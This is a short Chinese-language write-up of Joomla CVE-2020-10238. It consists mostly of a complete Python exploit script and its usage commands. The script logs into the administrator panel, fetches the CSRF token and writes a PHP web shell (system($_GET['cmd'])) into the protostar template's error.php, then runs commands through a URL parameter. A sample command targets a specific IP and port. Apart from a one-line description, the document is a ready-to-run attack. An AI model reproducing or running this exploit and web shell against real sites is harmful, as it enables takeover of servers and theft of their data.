joomla 代码执行 (CVE-2020-10238)

目录

1、漏洞描述

2、访问ip：port

3、漏洞利用

4、EXP 

5、Web访问，命令执行

---

1、漏洞描述

        Joomla!是美国Open Source Matters团队的一套使用PHP和MySQL开发的开源、跨平台的内容管理系统(CMS)。 joomla 权限分配不合理导致rce。

2、访问ip：port

3、漏洞利用

python exploit.py -url http://193.168.0.45:19027/ -u admin -p admin

4、EXP 

#!/usr/bin/python
import sys
import requests
import re
import argparse


def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print("[-] Cannot find CSRF token!")
        return None
    return match.group(1)


def try_admin_login(sess, url, uname, upass):
    admin_url = url + '/administrator/index.php'
    print('[+] Getting token for admin login')
    resp = sess.get(admin_url, verify=True)
    token = extract_token(resp)
    # print token
    if not token:
        return False
    print('[+] Logging in to admin')
    data = {
        'username': uname,
        'passwd': upass,
        'task': 'login',
        token: '1'
    }
    resp = sess.post(admin_url, data=data, verify=True)
    if 'task=profile.edit' not in resp.text:
        print('[!] Admin Login Failure!')
        return None
    print('[+] Admin Login Successfully!')
    return True


def check_admin(sess, url):
    url_check = url + '/administrator/index.php?option=com_templates'
    resp = sess.get(url_check, verify=True)
    token = extract_token(resp)
    if not token:
        print "[-] You are not administrator!"
        sys.exit()
    return token


def rce(sess, url, cmd, token):
    filename = 'error.php'
    shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
    shdata_up = {
        'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
        'task': 'template.apply',
        token: '1',
        'jform[extension_id]': '506',
        'jform[filename]': '/' + filename
    }
    sess.post(shlink, data=shdata_up)
    path2shell = '/templates/protostar/error.php?cmd=' + cmd
    # print '[+] Shell is ready to use: ' + str(path2shell)
    print '[+] Checking:'
    shreq = sess.get(url + path2shell)
    shresp = shreq.text
    print shresp + '[+] Shell link: \n' + (url + path2shell)
    print '[+] Module finished.'


def main():

    # Construct the argument parser
    ap = argparse.ArgumentParser()
    # Add the arguments to the parser
    ap.add_argument("-url", "--url", required=True,
                    help=" URL for your Joomla target")
    ap.add_argument("-u", "--username", required=True,
                    help="username")
    ap.add_argument("-p", "--password", required=True,
                    help="password")
    ap.add_argument("-cmd", "--command", default="whoami",
                    help="command")
    args = vars(ap.parse_args())
    # target

    url = format(str(args['url']))

    print '[+] Your target: ' + url

    # username
    uname = format(str(args['username']))

    # password
    upass = format(str(args['password']))

    # command
    command = format(str(args['command']))

    sess = requests.Session()

    if (try_admin_login(sess, url, uname, upass) == None): sys.exit()

    token = check_admin(sess, url)

    rce(sess, url, command, token)


if __name__ == "__main__":
    sys.exit(main())

5、Web访问，命令执行

http://IP:PORT/templates/protostar/error.php?cmd=ls%20/tmp